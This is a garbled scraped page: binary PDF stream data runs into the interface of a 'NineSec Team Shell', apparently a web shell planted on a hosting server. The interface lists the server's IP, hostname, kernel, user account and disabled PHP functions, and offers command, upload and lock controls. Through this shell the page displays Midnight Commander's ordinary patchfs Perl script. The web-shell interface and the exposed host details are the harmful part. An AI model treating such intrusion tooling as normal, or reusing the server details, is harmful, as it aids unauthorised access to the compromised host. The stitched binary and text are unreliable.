%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 216.73.216.7
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../home/../usr/include/openssl/../../libexec/mc/extfs.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../home/../usr/include/openssl/../../libexec/mc/extfs.d/patchfs
#! /usr/bin/perl -w
#
# Written by Adam Byrtek <[email protected]>, 2002
# Rewritten by David Sterba <[email protected]>, 2009
#
# Extfs to handle patches in context and unified diff format.
# Known issues: When name of file to patch is modified during editing, 
# hunk is duplicated on copyin. It is unavoidable.

use bytes;
use strict;
use POSIX;
use File::Temp 'tempfile';

# standard binaries
my $lzip = 'lzip';
my $lz4  = 'lz4';
my $lzma = 'lzma';
my $xz   = 'xz';
my $zstd = 'zstd';
my $bzip = 'bzip2';
my $gzip = 'gzip';
my $fileutil = 'file -b';

# date parsing requires Date::Parse from TimeDate module
my $parsedates = eval 'require Date::Parse';

# regular expressions
my $unified_header=qr/^--- .*\t.*\n\+\+\+ .*\t.*\n$/;
my $unified_extract=qr/^--- ([^\t]+).*\n\+\+\+ ([^\t]+)\s*(.*)\n/;
my $unified_header2=qr/^--- .*\n\+\+\+ .*\n$/;
my $unified_extract2=qr/^--- ([^\s]+).*\n\+\+\+ ([^\s]+)\s*(.*)\n/;
my $unified_contents=qr/^([+\-\\ \n]|@@ .* @@)/;
my $unified_hunk=qr/@@ -(\d+)(,(\d+))? \+(\d+)(,(\d+))? @@.*\n/;

my $context_header=qr/^\*\*\* .*\t.*\n--- .*\t.*\n$/;
my $context_extract=qr/^\*\*\* ([^\t]+).*\n--- ([^\t]+)\s*(.*)\n/;
my $context_header2=qr/^\*\*\* .*\n--- .*\n$/;
my $context_extract2=qr/^\*\*\* ([^\s]+).*\n--- ([^\s]+)\s*(.*)\n/;
my $context_contents=qr/^([!+\-\\ \n]|-{3} .* -{4}|\*{3} .* \*{4}|\*{15})/;

my $ls_extract_id=qr/^[^\s]+\s+[^\s]+\s+([^\s]+)\s+([^\s]+)/;
my $basename=qr|^(.*/)*([^/]+)$|;

sub patchfs_canonicalize_path ($) {
  my ($fname) = @_;
  $fname =~ s,/+,/,g;
  $fname =~ s,(^|/)(?:\.?\./)+,$1,;
  return $fname;
}

# output unix date in a mc-readable format
sub timef
{
    my @time=localtime($_[0]);
    return sprintf '%02d-%02d-%02d %02d:%02d', $time[4]+1, $time[3],
		   $time[5]+1900, $time[2], $time[1];
}

# parse given string as a date and return unix time
sub datetime
{
    # in case of problems fall back to 0 in unix time
    # note: str2time interprets some wrong values (eg. " ") as 'today'
    if ($parsedates && defined (my $t=str2time($_[0]))) {
	return timef($t);
    }
    return timef(time);
}

# print message on stderr and exit
sub error
{
    print STDERR $_[0], "\n";
    exit 1;
}

# (compressed) input
sub myin
{
    my ($qfname)=(quotemeta $_[0]);

    $_=`$fileutil $qfname`;
    if (/^'*lz4/) {
	return "$lz4 -dc $qfname";
    } elsif (/^'*lzip/) {
	return "$lzip -dc $qfname";
    } elsif (/^'*lzma/) {
	return "$lzma -dc $qfname";
    } elsif (/^'*xz/) {
	return "$xz -dc $qfname";
    } elsif (/^'*zst/) {
	return "$zstd -dc $qfname";
    } elsif (/^'*bzip/) {
	return "$bzip -dc $qfname";
    } elsif (/^'*gzip/) {
	return "$gzip -dc $qfname";
    } else {
	return "cat $qfname";
    }
}

# (compressed) output
sub myout
{
    my ($qfname,$append)=(quotemeta $_[0],$_[1]);
    my ($sep) = $append ? '>>' : '>';

    $_=`$fileutil $qfname`;
    if (/^'*lz4/) {
	return "$lz4 -c $sep $qfname";
    } elsif (/^'*lzip/) {
	return "$lzip -c $sep $qfname";
    } elsif (/^'*lzma/) {
	return "$lzma -c $sep $qfname";
    } elsif (/^'*xz/) {
	return "$xz -c $sep $qfname";
    } elsif (/^'*zst/) {
	return "$zstd -c $sep $qfname";
    } elsif (/^'*bzip/) {
	return "$bzip -c $sep $qfname";
    } elsif (/^'*gzip/) {
	return "$gzip -c $sep $qfname";
    } else {
	return "cat $sep $qfname";
    }
}

# select diff filename conforming with rules found in diff.info
sub diff_filename
{
    my ($fsrc,$fdst)= @_;
    # TODO: can remove these two calls later
    $fsrc = patchfs_canonicalize_path ($fsrc);
    $fdst = patchfs_canonicalize_path ($fdst);
    if (!$fdst && !$fsrc) {
	error 'Index: not yet implemented';
    } elsif (!$fsrc || $fsrc eq '/dev/null') {
	return ($fdst,'PATCH-CREATE/');
    } elsif (!$fdst || $fdst eq '/dev/null') {
	return ($fsrc,'PATCH-REMOVE/');
    } elsif (($fdst eq '/dev/null') && ($fsrc eq '/dev/null')) {
	error 'Malformed diff, missing a sane filename';
    } else {
	# fewest path name components
	if ($fdst=~s|/|/|g < $fsrc=~s|/|/|g) {
	    return ($fdst,'');
	} elsif ($fdst=~s|/|/|g > $fsrc=~s|/|/|g) {
	    return ($fsrc,'');
	} else {
	    # shorter base name
	    if (($fdst=~/$basename/o,length $2) < ($fsrc=~/$basename/o,length $2)) {
		return ($fdst,'');
	    } elsif (($fdst=~/$basename/o,length $2) > ($fsrc=~/$basename/o,length $2)) {
		return ($fsrc,'');
	    } else {
		# shortest names
		if (length $fdst < length $fsrc) {
		    return ($fdst,'');
		} else {
		    return ($fsrc,'');
		}
	    }
	}
    }
}

# IN: diff "archive" name
# IN: file handle for output; STDIN for list, tempfile else
# IN: filename to watch (for: copyout, rm), '' for: list
# IN: remove the file?
#     true  - ... and print out the rest
#     false - ie. copyout mode, print just the file
sub parse($$$$)
{
    my $archive=quotemeta shift;
    my $fh=shift;
    my $file=shift;
    my $rmmod=shift;
    my ($state,$fsize,$time);
    my ($f,$fsrc,$fdst,$prefix);
    my ($unified,$context);
    my ($skipread, $filetoprint, $filefound);
    my ($h_add,$h_del,$h_ctx);	# hunk line counts
    my ($h_r1,$h_r2);		# hunk ranges
    my @outsrc;		# if desired ...
    my @outdst;
    my $line;
    my %fmap_size=();
    my %fmap_time=();

    import Date::Parse if ($parsedates && $file eq '');

    $line=1;
    $state=0; $fsize=0; $f='';
    $filefound=0;
    while ($skipread || ($line++,$_=<I>)) {
	$skipread=0;
	if($state == 0) {	# expecting comments
	    $unified=$context=0;
	    $unified=1 if (/^--- /);
	    $context=1 if (/^\*\*\* /);
	    if (!$unified && !$context) {
		$filefound=0 if($file ne '' && $filetoprint);
		# shortcut for rmmod xor filefound
		# - in rmmod we print if not found
		# - in copyout (!rmmod) we print if found
		print $fh $_ if($rmmod != $filefound);
		next;
	    }

	    if($file eq '' && $filetoprint) {
		$fmap_size{"$prefix$f"}+=$fsize;
		$fmap_time{"$prefix$f"}=$time;
	    }

	    # start of new file
	    $_ .=<I>;	# steal next line, both formats
	    $line++;
	    if($unified) {
		if(/$unified_header/o) {
		    ($fsrc,$fdst,$time) = /$unified_extract/o;
		} elsif(/$unified_header2/o) {
		    ($fsrc,$fdst,$time) = /$unified_extract2/o;
		} else {
		    error "Can't parse unified diff header";
		}
	    } elsif($context) {
		if(/$context_header/o) {
		    ($fsrc,$fdst,$time) = /$context_extract/o;
		} elsif(/$context_header2/o) {
		    ($fsrc,$fdst,$time) = /$context_extract2/o;
		} else {
		    error "Can't parse context diff header";
		}
	    } else {
		error "Unrecognized diff header";
	    }
	    $fsrc=patchfs_canonicalize_path($fsrc);
	    $fdst=patchfs_canonicalize_path($fdst);
	    if(wantarray) {
		push @outsrc,$fsrc;
		push @outdst,$fdst;
	    }
	    ($f,$prefix)=diff_filename($fsrc,$fdst);
	    $filefound=($f eq $file);

	    $f="$f.diff";
	    $filetoprint=1;
	    $fsize=length;
	    print $fh $_ if($rmmod != $filefound);

	    $state=1;
	} elsif($state == 1) { # expecting diff hunk headers, end of file or comments
	    if($unified) {
		my ($a,$b,$c,$d);
		($a,$b,$h_r1,$c,$d,$h_r2)=/$unified_hunk/o;
		if(!defined($a) || !defined($c)) {
		    # hunk header does not come, a comment inside
		    # or maybe a new file, state 0 will decide
		    $skipread=1;
		    $state=0;
		    next;
		}
		$fsize+=length;
		print $fh $_ if($rmmod != $filefound);
		$h_r1=1 if(!defined($b));
		$h_r2=1 if(!defined($d));
		$h_add=$h_del=$h_ctx=0;
		$state=2;
	    } elsif($context) {
		if(!/$context_contents/o) {
		    $skipread=1;
		    $state=0;
		    next;
		}
		print $fh $_ if($rmmod != $filefound);
		$fsize+=length;
	    }
	} elsif($state == 2) { # expecting hunk contents
	    if($h_del + $h_ctx == $h_r1 && $h_add + $h_ctx == $h_r2) {
		# hooray, end of hunk
		# we optimistically ended with a hunk before but
		# the line has been read already
		$skipread=1;
		$state=1;
		next;
	    }
	    print $fh $_ if($rmmod != $filefound);
	    $fsize+=length;
	    my ($first)= /^(.)/;
	    if(ord($first) == ord('+')) { $h_add++; }
	    elsif(ord($first) == ord('-')) { $h_del++; }
	    elsif(ord($first) == ord(' ')) { $h_ctx++; }
	    elsif(ord($first) == ord('\\')) { 0; }
	    elsif(ord($first) == ord('@')) { error "Malformed hunk, header came too early"; }
	    else { error "Unrecognized character in hunk"; }
	}
    }
    if($file eq '' && $filetoprint) {
	$fmap_size{"$prefix$f"}+=$fsize;
	$fmap_time{"$prefix$f"}=$time;
    }

    # use uid and gid from file
    my ($uid,$gid)=(`ls -l $archive`=~/$ls_extract_id/o);

    # flush all file names with cumulative file size
    while(my ($fn, $fs) = each %fmap_size) {
	printf $fh "-rw-r--r-- 1 %s %s %d %s %s\n", $uid, $gid, $fs, datetime($fmap_time{$fn}), $fn;
    }

    close($fh) if($file ne '');
    return \(@outsrc, @outdst) if wantarray;
}

# list files affected by patch
sub list($) {
	parse($_[0], *STDOUT, '', 0);
	close(I);
}

# extract diff from patch
# IN: diff file to find
# IN: output file name
sub copyout($$) {
    my ($file,$out)=@_;

    $file=~s/^(PATCH-(CREATE|REMOVE)\/)?(.*)\.diff$/$3/;
    $file = patchfs_canonicalize_path ($file);

    open(FH, ">$out") or error("Cannot open output file");
    parse('', *FH, $file, 0);
}

# remove diff(s) from patch
# IN: archive
# IN: file to delete
sub rm($$) {
    my $archive=shift;
    my ($tmp,$tmpname)=tempfile();

    @_=map {scalar(s/^(PATCH-(CREATE|REMOVE)\/)?(.*)\.diff$/$3/,$_)} @_;

    # just the first file for now
    parse($archive, $tmp, $_[0], 1);
    close I;

    # replace archive
    system("cat \Q$tmpname\E | " . myout($archive,0))==0
      or error "Can't write to archive";
    system("rm -f -- \Q$tmpname\E");
}

# append diff to archive
# IN: diff archive name
# IN: newly created file name in archive
# IN: the real source file
sub copyin($$$) {
    # TODO: seems to be tricky. what to do?
    # copyin of file which is already there may:
    #  * delete the original and copy only the new
    #  * just append the new hunks to the same file
    #    problems: may not be a valid diff, unmerged hunks
    #  * try to merge the two together
    #    ... but we do not want write patchutils again, right?
    error "Copying files into diff not supported";
    return;

    my ($archive,$name,$src)=@_;

    # in case we are appending another diff, we have
    # to delete/merge all the files
    open(DEVNULL, ">/dev/null");
    open I, myin($src).'|';
    my ($srclist,$dstlist)=parse($archive, *DEVNULL, '', 0);
    close(I);
    close(DEVNULL);
    foreach(@$srclist) {
	print("SRC: del $_\n");
    }
    foreach(@$dstlist) {
	print("DST: del $_\n");
    }
    return;

    # remove overwritten file
    open I, myin($archive).'|';
    rm ($archive, $name);
    close I;

    my $cmd1=myin("$src.diff");
    my $cmd2=myout($archive,1);
    system("$cmd1 | $cmd2")==0
      or error "Can't write to archive";
}

my $fin = $ARGV[1];

# resolve symlink
while (-l $fin) {
    $fin = readlink $fin;
}

if ($ARGV[0] eq 'list') {
    open I, myin($fin).'|';
    list ($fin);
    exit 0;
} elsif ($ARGV[0] eq 'copyout') {
    open I, myin($fin)."|";
    copyout ($ARGV[2], $ARGV[3]);
    exit 0;
} elsif ($ARGV[0] eq 'rm') {
    open I, myin($fin)."|";
    rm ($fin, $ARGV[2]);
    exit 0;
} elsif ($ARGV[0] eq 'rmdir') {
    exit 0;
} elsif ($ARGV[0] eq 'mkdir') {
    exit 0;
} elsif ($ARGV[0] eq 'copyin') {
    copyin ($fin, $ARGV[2], $ARGV[3]);
    exit 0;
}
exit 1;

NineSec Team - 2022